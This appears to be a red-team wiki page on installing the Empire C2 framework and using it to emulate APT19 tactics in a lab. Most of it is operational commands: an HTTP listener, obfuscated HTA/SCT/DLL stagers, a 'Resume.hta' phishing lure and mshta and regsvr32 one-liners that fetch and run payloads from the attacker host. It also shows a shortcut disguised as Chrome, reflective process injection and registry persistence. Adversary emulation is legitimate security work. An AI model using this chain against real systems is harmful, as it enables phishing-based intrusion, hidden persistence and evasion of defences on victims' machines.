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C2
Attack Infrastructure
Detection
Empire
Empire is fully supported by BC-Security
Install Empire
Install on Kali:
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sudo apt install powershell-empire
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Install on Ubuntu:
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cd /opt
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sudo git clone https://github.com/BC-SECURITY/Empire.git
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cd Empire
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sudo ./setup/install.sh
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If you are installing the newer version of Empire on the SANS Slingshot C2 Matrix Edition VM, there is a small bug because it wants Ubuntu 20.04 but slingshot is in 18.04. Replace the line in setup/install.sh with the correct version:
And comment the version test:
#if [ $VERSION_ID != "20.04" ]; then # echo -e '\x1b[1;31m[!] Ubuntu must be 20.04\x1b[0m' && exit #fi Download Starkiller if you want a GUI:
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cd /opt
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sudo wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.0.0/starkiller-1.0.0.AppImage
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sudo chmod +x starkiller-1.0.0.AppImage
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Run Empire
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sudo empire
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On Kali:
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sudo powershell-empire
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Run Starkiller
Run Empire for connectivity through Starkiller if you want a GUI:
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sudo empire --rest --username <user> --password <password>
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Open Starkiller:
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cd /opt/starkiller
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./starkiller-1.2.2.AppImage
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Login to Starkiller:
- Name: localhost:1337
- Username: <user>
- Password: <password>
Emulating TTPs
Will use an adversary emulation plan for APT19 as an example: https://www.scythe.io/library/threatthursday-apt19
Tactic
Description
Description
APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services.
Goal and Intent
Exist in the network to enumerate systems and information in order to maintain Command and Control to support future attacks.
Command and Control
Commonly Used Port (T1043) - TCP port 80; Standard Application Layer Protocol (T1071) - HTTP; Deobfuscate/Decode Files or Information (T1140); Data Encoding (T1132) - used Base64 to encode communications to the C2 server
Initial Access
Spearphishing attachment (T1193); Spearphishing link (T1192)
Execution
PowerShell (T1086); User Execution; Hidden Windows (T1143) - used
-W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden; Obfuscated Files or Information (T1027) - used Base64 to obfuscate commands and the payload; DLL Side-Loading (T1073)Discover
System Owner/User Discovery (T1033); System Information Discovery (T1082) System Network Configuration Discovery (T1016)
Persistence
Registry Run Keys/ Start up Folder (T1060) - establishes persistence by setting the Registry key
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\Defense Evasion
Regsvr32 (T1117); Scripting (T1064) - downloaded and launched code within a SCT file to bypass application whitelisting techniques
Listeners
Create Listener
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Type: http
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Name: http
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Host: http://10.0.0.187
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Port: 80
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BindIP: 10.0.0.187
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Jitter: 0.5
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StagingKey: georgy
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Stagers
Generate Stager HTA:
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Type: windows/hta
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Listner: http
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Base64: True
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Language: powershell
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Outfile: /tmp/Resume.hta
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Generate Stager SCT:
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Type: windows/launcher_sct
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Listner: http
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Base64: True
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Language: powershell
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Generate Stager DLL:
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Type: windows/dll
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Listner: http
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Arch: x86
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Language: powershell
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OutFile: /tmp/launcher.dll
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Optional Fields
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Obfuscate: True
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ObfuscateCommand: Token\String\1
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Download the stagers to /tmp and serve with SimpleHTTPServer
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cd /tmp
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python -m SimpleHTTPServer 8080
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Initial Access
Email with link to Resume.hta
Execution
Show execution of HTA file:
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mshta http://10.0.0.187:8080/Resume.hta
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Migrate to another process with reflective PE Injection: https://www.bc-security.org/post/reflective-pe-injection-in-windows-10-1909/
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See processes running: ps
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usemodule code_execution/invoke_reflectivepeinjection
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set ProcID: <processID>
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set DllPath: /tmp/launcher.dll
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Discovery
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whoami
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usemodule situational_awareness/host/antivirusproduct
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usemodule situational_awareness/host/get_uaclevel
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usemodule situational_awareness/host/winenum
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Persistence
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usemodule persistence/userland/registry
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set Listener: http
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Open regedit HKCU\Software\Microsoft\Windows\CurrentVersion
Defense Evasion
Execution with regsvr32 and scripting. Created a shortcut called Chrome with Target set as:
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C:\Windows\System32\cmd.exe /c "C:\Windows\System32\regsvr32.exe /s /n /u /i:http:\10.0.0.187:8080\launcher.sct scrobj.dll"
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Upload
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cd C:\Users\<username>
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upload /tmp/file
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shell C:\Users\<username>\<executable>
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Other Resources
Last modified 8mo ago